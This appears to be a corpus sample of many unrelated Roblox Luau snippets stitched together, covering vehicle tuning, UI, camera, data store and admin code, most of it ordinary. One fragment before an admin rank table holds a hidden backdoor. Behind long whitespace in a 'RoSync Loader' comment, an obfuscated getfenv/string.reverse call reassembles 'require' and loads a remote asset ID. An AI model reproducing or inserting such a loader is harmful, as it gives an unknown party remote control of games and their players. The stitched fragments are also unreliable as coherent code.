Roblox/luau_corpus huggingface dataset:
--FireBomb
game.Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(function(character)
		local Humanoid = character:WaitForChild("Humanoid")
		Humanoid.Died:connect(function()
			if player.FireBomb.Value == 2 then
				player.FireBomb.Value = 1
				end
		end)
	end)
end)
game.Players.PlayerRemoving:Connect(function(player)
	if player.FireBomb.Value == 2 then
		player.FireBomb.Value = 1
	end
end)
--[[
	Returns the current value of this Spring object.
	The object will be registered as a dependency unless `asDependency` is false.
]]
function class:get(asDependency: boolean?): any
	if asDependency ~= false then
		Dependencies.useDependency(self)
	end
	return self._currentValue
end
-- Compiled with roblox-ts v2.0.4
local default = function(str, prefix)
	local strArr = string.split(str, "")
	local prefixArr = string.split(prefix, "")
	local l = 0
	local r = math.min(#str, #prefix) - 1
	while l <= r do
		local m = math.floor((l + r) / 2)
		if strArr[m + 1] == prefixArr[m + 1] then
			l = m + 1
		else
			r = m - 1
		end
	end
	return r + 1 >= #prefix
end
return {
	default = default,
}
-- Decompiled with the Synapse X Luau decompiler.

local v1 = script:FindFirstAncestor("MainUI");
local l__Bricks__2 = game:GetService("ReplicatedStorage"):WaitForChild("Bricks");
local l__TweenService__1 = game:GetService("TweenService");
return function(p1)
	local l__FigureCamPos__3 = workspace:FindFirstChild("FigureCamPos", true);
	p1.stopcam = true;
	p1.freemouse = true;
	p1.hideplayers = 2;
	p1.update();
	local v4 = l__FigureCamPos__3.CFrame + l__FigureCamPos__3.CFrame.LookVector * 25;
	local l__CFrame__5 = l__FigureCamPos__3.CFrame;
	local l__CFrame__6 = p1.cam.CFrame;
	local v7 = tick() + 2;
	local l__FieldOfView__8 = p1.cam.FieldOfView;
	l__TweenService__1:Create(p1.cam, TweenInfo.new(1.6, Enum.EasingStyle.Exponential, Enum.EasingDirection.Out), {
		FieldOfView = 40
	}):Play();
	for v9 = 1, 100000 do
		task.wait();
		if not (tick() <= v7) then
			break;
		end;
		p1.cam.CFrame = l__CFrame__6:Lerp(v4, (l__TweenService__1:GetValue((2 - math.abs(tick() - v7)) / 2, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut))) * p1.csgo;
	end;
	local v10 = tick() + 6;
	l__TweenService__1:Create(p1.cam, TweenInfo.new(5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), {
		FieldOfView = 70
	}):Play();
	for v11 = 1, 100000 do
		task.wait();
		if not (tick() <= v10) then
			break;
		end;
		p1.cam.CFrame = v4:Lerp(l__CFrame__5, (l__TweenService__1:GetValue((6 - math.abs(tick() - v10)) / 6, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut))) * p1.csgo;
	end;
	local l__CFrame__12 = p1.cam.CFrame;
	local v13 = tick() + 0.5;
	local l__FieldOfView__14 = p1.cam.FieldOfView;
	for v15 = 1, 100000 do
		task.wait();
		local v16 = l__TweenService__1:GetValue((0.5 - math.abs(tick() - v13)) / 0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut);
		if not (tick() <= v13) then
			break;
		end;
		p1.cam.CFrame = l__CFrame__12:Lerp(p1.basecamcf, v16) * p1.csgo;
		p1.cam.FieldOfView = l__FieldOfView__14 + (p1.fovspring - l__FieldOfView__14) * v16;
	end;
	p1.stopcam = false;
	p1.freemouse = false;
	p1.hideplayers = 0;
	p1.update();
end;
-- Should messages to channels other than general be echoed into the general channel.
-- Setting this to false should be used with ShowChannelsBar
module.EchoMessagesInGeneralChannel = false
module.ChannelsBarFullTabSize = 4 -- number of tabs in bar before it starts to scroll
module.MaxChannelNameLength = 12
-- Events
local Events = ReplicatedStorage.Events
local BuyUpgradeEvent = Events.BuyUpgrade
local AddUpgradeEvent = Events.AddUpgrade
local UpdatePointsEvent = Events.UpdatePoints
local TouchCheckpointEvent = Events.TouchCheckpoint
local ChangeController = Events.ChangeController
local PlayerEnteredGame = Events.PlayerEnteredGame
--edit the function below to return true when you want this response/prompt to be valid
--player is the player speaking to the dialogue, and dialogueFolder is the object containing the dialogue data
return function(player, dialogueFolder)
	local plrData = require(game.ReplicatedStorage.Source.Modules.Util):GetPlayerData(player)
	return plrData.Classes.Super.Mage.Obtained.Value == true and plrData.Classes.Super.Mage.Fireball.Value ~= true
end
-- Compiled with roblox-ts v2.1.0
local TS = require(game:GetService("ReplicatedStorage"):WaitForChild("rbxts_include"):WaitForChild("RuntimeLib"))
local Renderable = TS.import(script, game:GetService("ReplicatedStorage"), "TS", "components").Renderable
local function renderable(world, _)
	for id, model in world:query(Renderable) do
		if not model.model:IsDescendantOf(game) then
			world:remove(id, Renderable)
		end
	end
	for _id, model in world:queryChanged(Renderable) do
		if model.old and (model.old.model and not model.new) then
			model.old.model:Destroy()
		end
	end
end
return renderable
--[=[
	@param parent Instance
	@param usePromise boolean
	@param namespace string?
	@return ClientComm
	Constructs a ClientComm object.

	If `usePromise` is set to `true`, then `GetFunction` will generate a function that returns a Promise
	that resolves with the server response. If set to `false`, the function will act like a normal
	call to a RemoteFunction and yield until the function responds.
]=]
function ClientComm.new(parent: Instance, usePromise: boolean, namespace: string?, janitor)
	assert(not IS_SERVER, "ClientComm must be constructed from the client")
	assert(typeof(parent) == "Instance", "Parent must be of type Instance")
	local ns = DEFAULT_COMM_FOLDER_NAME
	if namespace then
		ns = namespace
	end
	local folder: Instance? = parent:WaitForChild(ns, WAIT_FOR_CHILD_TIMEOUT)
	assert(folder ~= nil, "Could not find namespace for ClientComm in parent: " .. ns)
	local self = setmetatable({}, ClientComm)
	self._instancesFolder = folder
	self._usePromise = usePromise
	if janitor then
		janitor:Add(self)
	end
	return self
end
--Scripting -- Do not touch unless you know what to do--
if chassisversion == "Tyler" then
	antenna = car.DriveSeat
	driveseat.IsOn.Changed:connect(function()
		if driveseat.IsOn.Value == true then
			handler:FireServer("IsOn", "On")
		else
			handler:FireServer("IsOn","Off")
			end
	end)
elseif chassisversion == "Cat" then
	antenna = car.Body.Antenna
	car.Electrics.Changed:connect(function()
		if car.Electrics.Value == true then
			handler:FireServer("IsOn", "On")
		else
			handler:FireServer("IsOn", "Off")
		end
	end)
end
-- Decompiled with the Synapse X Luau decompiler.

return {
	Name = "unbind", 
	Aliases = {}, 
	Description = "Unbinds an input previously bound with Bind", 
	Group = "DefaultUtil", 
	Args = { {
			Type = "userInput ! bindableResource @ player", 
			Name = "Input/Key", 
			Description = "The key or input type you'd like to unbind."
		} }, 
	ClientRun = function(p1, p2)
		local v1 = p1:GetStore("CMDR_Binds");
		if not v1[p2] then
			return "That input wasn't bound.";
		end;
		v1[p2]:Disconnect();
		v1[p2] = nil;
		return "Unbound command from input.";
	end
};
--[[[Default Controls]]
	--Peripheral Deadzones
	Tune.Peripherals = {
		MSteerWidth				= 67		,	-- Mouse steering control width	(0 - 100% of screen width)
		MSteerDZone				= 10		,	-- Mouse steering deadzone (0 - 100%)
		
		ControlLDZone			= 5			,	-- Controller steering L-deadzone (0 - 100%)
		ControlRDZone			= 5			,	-- Controller steering R-deadzone (0 - 100%)
	}
	
	--Control Mapping
	Tune.Controls = {
		
	--Keyboard Controls
		--Mode Toggles
		ToggleTCS				= Enum.KeyCode.Z					,
		ToggleABS				= Enum.KeyCode.Y					,
		ToggleTransMode			= Enum.KeyCode.M					,
		ToggleMouseDrive		= Enum.KeyCode.X					,
		
		--Primary Controls
		Throttle				= Enum.KeyCode.Up					,
		Brake					= Enum.KeyCode.Down					,
		SteerLeft				= Enum.KeyCode.Left					,
		SteerRight				= Enum.KeyCode.Right				,
		
		--Secondary Controls
		Throttle2				= Enum.KeyCode.W					,
		Brake2					= Enum.KeyCode.S					,
		SteerLeft2				= Enum.KeyCode.A					,
		SteerRight2				= Enum.KeyCode.D					,
		
		--Manual Transmission
		ShiftUp					= Enum.KeyCode.E					,
		ShiftDown				= Enum.KeyCode.Q					,
		Clutch					= Enum.KeyCode.LeftShift			,
		
		--Handbrake
		PBrake					= Enum.KeyCode.P					,
		
	--Mouse Controls
		MouseThrottle			= Enum.UserInputType.MouseButton1	,
		MouseBrake				= Enum.UserInputType.MouseButton2	,
		MouseClutch				= Enum.KeyCode.W					,
		MouseShiftUp			= Enum.KeyCode.E					,
		MouseShiftDown			= Enum.KeyCode.Q					,
		MousePBrake				= Enum.KeyCode.LeftShift			,
		
	--Controller Mapping
		ContlrThrottle			= Enum.KeyCode.ButtonR2				,
		ContlrBrake				= Enum.KeyCode.ButtonL2				,
		ContlrSteer				= Enum.KeyCode.Thumbstick1			,
		ContlrShiftUp			= Enum.KeyCode.ButtonY				,
		ContlrShiftDown			= Enum.KeyCode.ButtonX				,
		ContlrClutch			= Enum.KeyCode.ButtonR1				,
		ContlrPBrake			= Enum.KeyCode.ButtonL1				,
		ContlrToggleTMode		= Enum.KeyCode.DPadUp				,
		ContlrToggleTCS			= Enum.KeyCode.DPadDown				,
		ContlrToggleABS			= Enum.KeyCode.DPadRight			,
	}
-- Properties
local held = false
local step = 0.01
local percentage = 0

function snap(number, factor)
	if factor == 0 then
		return number
	else
		return math.floor(number/factor+0.5)*factor
	end
end

UIS.InputEnded:connect(function(input, processed)
	if input.UserInputType == Enum.UserInputType.MouseButton1 then
		held = false
	end
end)

SliderBtn.MouseButton1Down:connect(function()
	held = true
end)

RuS.RenderStepped:connect(function(delta)
	if game.Players.LocalPlayer.Character:FindFirstChild("Vibe Radio") then
		local MousePos = UIS:GetMouseLocation().X
		local BtnPos = SliderBtn.Position
		local SliderSize = Slider.AbsoluteSize.X
		local SliderPos = Slider.AbsolutePosition.X
		local pos = snap((MousePos-SliderPos)/SliderSize,step)
		percentage = math.clamp((game.Players.LocalPlayer.Character["Vibe Radio"]["Vibe radio"].bruH.speaker.Sound.TimePosition / game.Players.LocalPlayer.Character["Vibe Radio"]["Vibe radio"].bruH.speaker.Sound.TimeLength),0,1)
		SliderBtn.Position = UDim2.new(percentage,0,BtnPos.Y.Scale, BtnPos.Y.Offset)
	end
end)
-- / Functions / --
EventModule.ActivateEvent = function()
	local RandomPlayer = PlayingTeam:GetPlayers()[math.random(1, #PlayingTeam:GetPlayers())]
	
	if RandomPlayer then
		BadgeService:AwardBadge(RandomPlayer.UserId, Badges:FindFirstChild(script.Name).Value)
		
		local Backpack = RandomPlayer:WaitForChild("Backpack")
		
		if Backpack then
			local AmongUsPotion = Tools:WaitForChild("Among Us Potion"):Clone()
			
			AmongUsPotion.Parent = Backpack
		end
	end
end
--		for i=1,#points do
--			print("POINT #:",i,points[i])
--			Pets.Visualize[i].CFrame = CFrame.new(points[i])
--		end
		for i=1,#points do
			local point = points[i]
			
			local done = true
			repeat 
				local ray = Ray.new(point + Vector3.new(0,15,0), Vector3.new(0,-100,0))
				
				local part, intersection, normal = workspace:FindPartOnRayWithIgnoreList(ray, ignore)
				if part and not part:IsA("Terrain") and not part.CanCollide then
					done = false
					point = intersection
					table.insert(ignore, part)
					wait()
				else
					if part then
						done = true
						height = char_cf:PointToObjectSpace(Vector3.new(0,intersection.Y,0)).Y + (size.Y/3)
					else
						return nil
					end
				end
			until done
			--if height then break end
			if height then
				table.insert(all_height, height)
			end
		end
-- Slider buttons
local norm = script.Parent.Slider.SliderBG.Normal
local fast = script.Parent.Slider.SliderBG.Fast
local max = script.Parent.Slider.SliderBG.Max
-- Gamepad Input
local function GetGamepadInput(step)
	-- Get gamepad inputs
	local thumbstick1 = Gamepad:GetPosition(THUMBSTICK_1)
	local rt = Gamepad:IsDown(BUTTON_RT)
	
	-- Update control inputs
	engine.BoostInput = ((UpdateBoost(rt, step) and 1) or 0)
	engine.YawInput = ApplyDeadzone(thumbstick1.X)
	engine.PitchInput = ApplyDeadzone(thumbstick1.Y)
end -- GetGamepadInput()
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take

Cooldown = 5 -- cooldown for use of the tool again

ZoneModelName = "Bone broke ground" -- name the zone model

MobHumanoidName = "Humanoid"-- the name of player or mob u want to damage
--[[Engine]]
	--Torque Curve
	Tune.Horsepower		= 700		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 1100		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 8250		--		Use sliders to manipulate values
	Tune.Redline		= 9750		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5250
	Tune.PeakSharpness	= 5.8
	Tune.CurveMult		= 0.294 
	
	--Incline Compensation
	Tune.InclineComp	= 1.5		-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)
	
	--Misc
	Tune.RevAccel		= 400		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 300		-- RPM decay when clutch is off
	Tune.RevBounce		= 450		-- RPM kickback from redline
	Tune.IdleThrottle	= 0			-- Percent throttle at idle
	Tune.ClutchTol		= 450		-- Clutch engagement threshold (higher = faster response, lower = more stable RPM)
-- Tween a part up and down (ping-pong animation)
local posRndm = math.random(1,5)
local TweenService = game:GetService("TweenService")
local partToTween = script.Parent
local inTween = false
--s.Pitch = 0.7
--[[for x = 1, 50 do
s.Pitch = s.Pitch + 0.20 1.900
s:play()
wait(0.001)
end]]
--[[Chopper level 5=1.2, Chopper level 4=1.04]]
while s.Pitch<1.1 do
s.Pitch=s.Pitch+0.01315
s:Play()
if s.Pitch>1.1 then
	s.Pitch=1.1
end
wait(-9)
end

while true do
for x = 1, 500 do
s:play()
wait(-9)
end
end
-- ROBLOX FIXME: workaround for defult generic param
export type MatchersObject_ = MatchersObject<MatcherState>
export type ExpectedAssertionsErrors = Array<{
	actual: string | number,
	error: Error,
	expected: string,
}>
-- capture two separate generic arguments so that the type error in abuse cases is actionable, but needs CLI-49876 to avoid a false negative
local function concat<T, S>(source: Array<T> | T, ...: Array<S> | S): Array<T> & Array<S>
	local array = {}
	local elementCount = 0

	if isArray(source) then
		for _, value in ipairs(source :: Array<T>) do
			elementCount += 1
			array[elementCount] = value
		end
	else
		elementCount += 1
		array[elementCount] = source :: T
	end

	for i = 1, select("#", ...) do
		local value = select(i, ...)
		local valueType = typeof(value)
		if value == nil then
			-- do not insert nil
		elseif valueType == "table" then
			-- deviation: assume that table is an array, to avoid the expensive
			-- `isArray` check. In DEV mode, we throw if it is given an object-like
			-- table.
			if _G.__DEV__ then
				if not isArray(value) then
					error(RECEIVED_OBJECT_ERROR)
				end
			end
			for k = 1, #value do
				elementCount += 1
				array[elementCount] = value[k]
			end
		else
			elementCount += 1
			array[elementCount] = value
		end
	end

	return (array :: any) :: Array<T> & Array<S>
end

return concat
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 3000		-- Front brake force
	Tune.RBrakeForce	= 1500		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
-- Control
script.SwitchON.Changed:Connect(function()
	task.wait()
	if script.SwitchON.Value == true then
		if Configuration.IsAPushButton.Value == false then
			ProximityPrompt.ActionText = Configuration.PromptSettings.ActionText2.Value
			ProximityPrompt.ObjectText = Configuration.PromptSettings.ObjectText2.Value
			script.Parent.ToggleSwitchSound:Play()
		end
		script.KeepActive.Enabled = true
	else
		if Configuration.IsAPushButton.Value == false then
			ProximityPrompt.ActionText = Configuration.PromptSettings.ActionText1.Value
			ProximityPrompt.ObjectText = Configuration.PromptSettings.ObjectText1.Value
			script.Parent.ToggleSwitchSound:Play()
		end
		script.KeepActive.Enabled = false
		Configuration.ControlledValue.Value.Value = false
	end
end)
--[[
--------------------------------------------------------
DO NOT EDIT BELOW UNLESS YOU WANNA RUIN THE SCRIPT :)
]]--
function enter(new)
	local gui = script.TextName:Clone()
	local check = game.Workspace:WaitForChild(new.Name)
	if check~=nil then
		local find = check:FindFirstChild("Head")
		if find ~= nil then	
			gui.Parent = find
			gui.Namer.Text = new.Name
			if new.Name == Owner_Name then
				----------------------------------------------------------
				--DO NOT EDIT ABOVE UNLESS YOU WANNA RUIN THE SCRIPT :)
				--YOU CAN EDIT THIS PART -------------->               
				gui.Namer.TextStrokeColor3 = Color3.new(0, 0.568627, 1)--<-------------
				--[[
					Copy in between the quotation marks.
					Gold = "255, 191, 0"
					Red = "255, 0, 0"
					Yellow = "4, 255, 0"
					Teal = "0, 251, 255"
					Blue = "0, 25, 255"
					HotPink = "255, 0, 251"
					--------------------------------------------------------
					DO NOT EDIT BELOW UNLESS YOU WANNA RUIN THE SCRIPT :)
				--]]
				gui.Namer.Text = Owner_SideTag.." - "..Owner_Name
			end
		end
	end
end
game.Players.ChildAdded:Connect(enter)
---Stat script
while true do
script.Parent.Text = "" ..math.floor(script.Parent.Parent.Parent.Parent.Parent.Parent.leaderstats.Love.Value).." LV"
wait(0)
end
-- Get old data (for migration)
function Main:_getOldData(player)
	local dataStore = DataStoreService:GetDataStore("MainDatastore")
	local success, data = pcall(function()
		return dataStore:GetAsync("Player_"..player.UserId)
	end)

	return success, data
end
-- make the player jump when they touch the part
part.Touched:Connect(function(hit)
    if hit.Parent:FindFirstChild("Humanoid") then
        hit.Parent.Humanoid.Jump = true
    end
end)
--slow
script.Parent.Color = Color3.new(math.random(),math.random(),math.random())
wait(5)
mode6()
end

function mode7()
---------------------
script.Parent.Parent.ll1.Transparency = 0
script.Parent.Parent.l1.Transparency = 0
script.Parent.Parent.rr1.Transparency = 0
script.Parent.Parent.h1.Transparency = 0
--[[
	Sends alert of type and message. If players is not specified, will send to everyone, else supports a single player, or a table of players.
]]
local ReplicatedStorage = game:GetService("ReplicatedStorage")

local SendAlert = ReplicatedStorage.Remotes.SendAlert

return function(alertType, message, players)
	assert(message)

	if not players then
		SendAlert:FireAllClients(alertType, message)
	elseif typeof(players) == "table" then
		for _, player in pairs(players) do
			SendAlert:FireClient(player, alertType, message)
		end
	else
		SendAlert:FireClient(players, alertType, message)
	end
end
--[=[
	Signal that fires when the attribute changes
	@readonly
	@prop Changed Signal<()>
	@within AttributeValue
]=]
function AttributeValue:__index(index)
	if index == "Value" then
		local result = self._object:GetAttribute(rawget(self, "_attributeName"))
		local default = rawget(self, "_defaultValue")
		if result == nil then
			return default
		else
			return result
		end
	elseif index == "Changed" then
		return self._object:GetAttributeChangedSignal(self._attributeName)
	elseif AttributeValue[index] then
		return AttributeValue[index]
	else
		error(("%q is not a member of AttributeValue"):format(tostring(index)))
	end
end

function AttributeValue:__newindex(index, value)
	if index == "Value" then
		self._object:SetAttribute(rawget(self, "_attributeName"), value)
	else
		error(("%q is not a member of AttributeValue"):format(tostring(index)))
	end
end

return AttributeValue
--[[
	Constructs and returns objects which can be used to model derived reactive
	state.
]]

local Package = script.Parent.Parent
local Types = require(Package.Types)
local captureDependencies = require(Package.Dependencies.captureDependencies)
local initDependency = require(Package.Dependencies.initDependency)
local useDependency = require(Package.Dependencies.useDependency)
local logErrorNonFatal = require(Package.Logging.logErrorNonFatal)
local logWarn = require(Package.Logging.logWarn)
local isSimilar = require(Package.Utility.isSimilar)
local needsDestruction = require(Package.Utility.needsDestruction)

local class = {}

local CLASS_METATABLE = {__index = class}
local WEAK_KEYS_METATABLE = {__mode = "k"}
--!strict
type Array = { [number]: any }
type Function = (any, any, number, any) -> any
--DO NOT CHANGE ANYTHING INSIDE OF THIS SCRIPT BESIDES WHAT YOU ARE TOLD TO UNLESS YOU KNOW WHAT YOU'RE DOING OR THE SCRIPT WILL NOT WORK!!
local hitPart = script.Parent
local debounce = true
local tool = game.ServerStorage.IceCream -- Change "Sword" to the name of your tool, make sure your tool is in ServerStorage

hitPart.Touched:Connect(function(hit)
	if debounce == true then
		if hit.Parent:FindFirstChild("Humanoid") then
			local plr = game.Players:FindFirstChild(hit.Parent.Name)
			if plr then
				debounce = false
				hitPart.BrickColor = BrickColor.new("Bright red")
				tool:Clone().Parent = plr.Backpack
				wait(3) -- Change "3" to however long you want the player to have to wait before they can get the tool again
				debounce = true
				hitPart.BrickColor = BrickColor.new("Bright green")
			end
		end
	end
end)
--[[
	Create a new, empty TestPlan.
]]
function TestPlan.new(testNamePattern, extraEnvironment)
	local plan = {
		children = {},
		testNamePattern = testNamePattern,
		extraEnvironment = extraEnvironment,
	}

	return setmetatable(plan, TestPlan)
end
--[[ Last synced 11/11/2020 02:36                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         RoSync Loader ]] getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                                  ]]--
-- RANK, RANK NAMES & SPECIFIC USERS
Ranks = {
	{5,	"Owner", 	};
	{4,	"HeadAdmin",	{"",0},	};
	{3,	"Admin",		{"",0},	};
	{2,	"Mod",			{"",0},	};
	{1,	"VIP",			{"",0},	};
	{0,	"NonAdmin",		};
};
--[[Brakes]]
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS) 

	Tune.FBrakeForce	= 9000	-- Front brake force
	Tune.RBrakeForce	= 9000		-- Rear brake force
	Tune.PBrakeForce	= 9000		-- Handbrake force
	
	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]
--make blood disappear
while script.Parent.Mesh.Scale.X<1 do
wait()
script.Parent.Mesh.Scale=Vector3.new(script.Parent.Mesh.Scale.X+0.05,0.1,script.Parent.Mesh.Scale.Z+0.05)

end
wait(math.random(5,20))
while script.Parent.Decal.Transparency<1 do
wait()
script.Parent.Decal.Transparency=script.Parent.Decal.Transparency+.1
end
script.Parent:Destroy()
--Updater
	script.Parent.OnServerEvent:connect(function(player,totalPSI,actualPSI,Throttle,BOVFix,BOV_Loudness,TurboLoudness)
		
		local DriveSeat = script.Parent.Parent:WaitForChild("DriveSeat")
		local W = DriveSeat:WaitForChild("Whistle")
		local B = DriveSeat:WaitForChild("BOV")
		
		local Throttle = DriveSeat.Throttle
		if Throttle < 0 then
			Throttle = 0
		end
		W.Pitch = totalPSI
		W.Volume = (totalPSI/4)*TurboLoudness
		B.Pitch = 1 - (-totalPSI/40)
		B.Volume = (((-0.03+totalPSI/2)*(1 - Throttle))/2)*BOV_Loudness
		
	end)